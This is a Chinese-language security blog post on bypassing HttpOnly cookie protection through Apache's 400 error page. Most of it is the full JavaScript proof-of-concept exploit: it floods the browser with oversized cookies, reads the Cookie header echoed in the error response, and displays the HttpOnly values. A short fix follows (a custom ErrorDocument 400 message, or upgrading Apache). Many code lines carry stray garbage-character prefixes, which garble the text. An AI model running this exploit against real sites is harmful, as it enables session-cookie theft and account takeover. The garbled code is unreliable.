Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

' [1 m8 f% V+ T" M用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
. ~% p+ s; O& f4 W% }$ X" l. ^str += "x";
& m* [0 Q) W/ Y4 l& a2 u}
// Set cookies
  C& W) J  a7 Kfor (i = 0; i < 10; i++) {
1 B1 ]$ C0 l. a* K# W// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
- k2 x+ b6 R* Y// Set evil cookie
) }0 _" j' }* n2 f* Y1 o# J7 Pelse {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
8 ]% e( T0 M$ M4 ^2 B3 T2 c! z; l}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
3 c' b$ p8 e2 A, N9 r$ a. Y// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
, d1 S, W+ i0 X6 [// Replace newlines and match <pre> content
+ p1 k9 Z& T# l* nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
) j7 o; O1 ]1 x% W// Remove Cookie: prefix
3 S+ o1 ]8 }8 s+ qcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; z6 M* ~2 \; x& p+ T// Add cookies to object
for (var i=0; i<cookies.length; i++) {
) W- X) k4 C, q" V" q+ k& x) t: @var s_c = cookies.split('=',2);
& h- l' y( k; y( }6 e6 Fcookie_dict[s_c[0]] = s_c[1];
}
}
8 c( L2 p9 K* K5 [0 R* n1 ~// Unset malicious cookies
setCookies(true);
# Y6 G! \% q" h  U/ P2 d: ]& yalert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
. S9 w3 a$ q# r8 c6 d% W$ |var xhr = new XMLHttpRequest();
6 j6 v" |1 Y" oxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
: @+ v- E& d8 ?* T" P1 Yxhr.send(null);
& l# y# |. ~9 E* y}
; o3 M* i: e! d5 d2 i5 |5 amakeRequest();
6 O5 |6 K- z. {3 U: p5 I
你就能看见华丽丽的400错误包含着cookie信息。
! _; N; G9 e/ ~+ k/ I: Q& X
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,

2 V0 q" b! ~) Z' \: q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
  I# R6 N9 p  G* K# C2 h0 s& [2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

% g: V! Z5 E4 E) x: }经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
6 U. K, G+ ?9 o1 m
$ O0 g6 o3 Z& R6 E0 C2 QApache配置：
( N0 T1 O) N9 @
3 C( [% }1 |$ L% I4 LErrorDocument400 " security test"
, G! Y3 R2 i: n' B
当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
( P& A2 _5 u8 d